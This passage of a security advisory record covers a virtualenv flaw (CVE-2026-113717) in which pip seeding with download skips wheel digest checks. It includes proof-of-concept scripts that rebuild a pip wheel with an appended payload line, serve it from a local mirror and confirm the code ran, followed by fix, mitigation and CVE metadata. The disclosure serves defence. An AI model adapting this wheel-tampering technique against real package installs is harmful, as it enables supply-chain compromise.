text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-virtualfish-CVE-2026-113717",
      "modified": "2026-11-19T09:55:50Z",
      "published": "2026-10-28T08:54:01Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    CVE-2026-113717 (GCVE-0-2026-113717)

    Vulnerability from cvelistv5 – Published: 2026-10-20 19:22 – Updated: 2026-10-20 19:32
    VLAI
    Title
    virtualenv: Pip seeding with download omits wheel digest verification
    Summary
    virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-10-20 19:32 UTC
    CWE
    • CWE-494 - Download of Code Without Integrity Check
    Assigner
    GitHub_M CNA
    Impacted products
    Vendor Product Version
    pypa virtualenv Affected: < 21.14.9
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-113717",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-20T19:32:38.243331Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-20T19:32:57.649Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "virtualenv",
              "vendor": "pypa",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 21.14.9"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv\u0027s download_wheel() and verify_wheel_digest() path. When virtualenv\u0027s default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "HIGH",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 2.3,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "LOW",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "LOW"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-494",
                  "description": "CWE-494: Download of Code Without Integrity Check",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-20T19:22:11.265Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
            },
            {
              "name": "https://github.com/pypa/virtualenv/pull/3430",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pypa/virtualenv/pull/3430"
            },
            {
              "name": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
            },
            {
              "name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
            }
          ],
          "source": {
            "advisory": "GHSA-cx28-75q4-x26q",
            "discovery": "UNKNOWN"
          },
          "title": "virtualenv: Pip seeding with download omits wheel digest verification"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-113717",
        "datePublished": "2026-10-20T19:22:11.265Z",
        "dateReserved": "2026-10-20T16:03:14.863Z",
        "dateUpdated": "2026-10-20T19:32:57.649Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }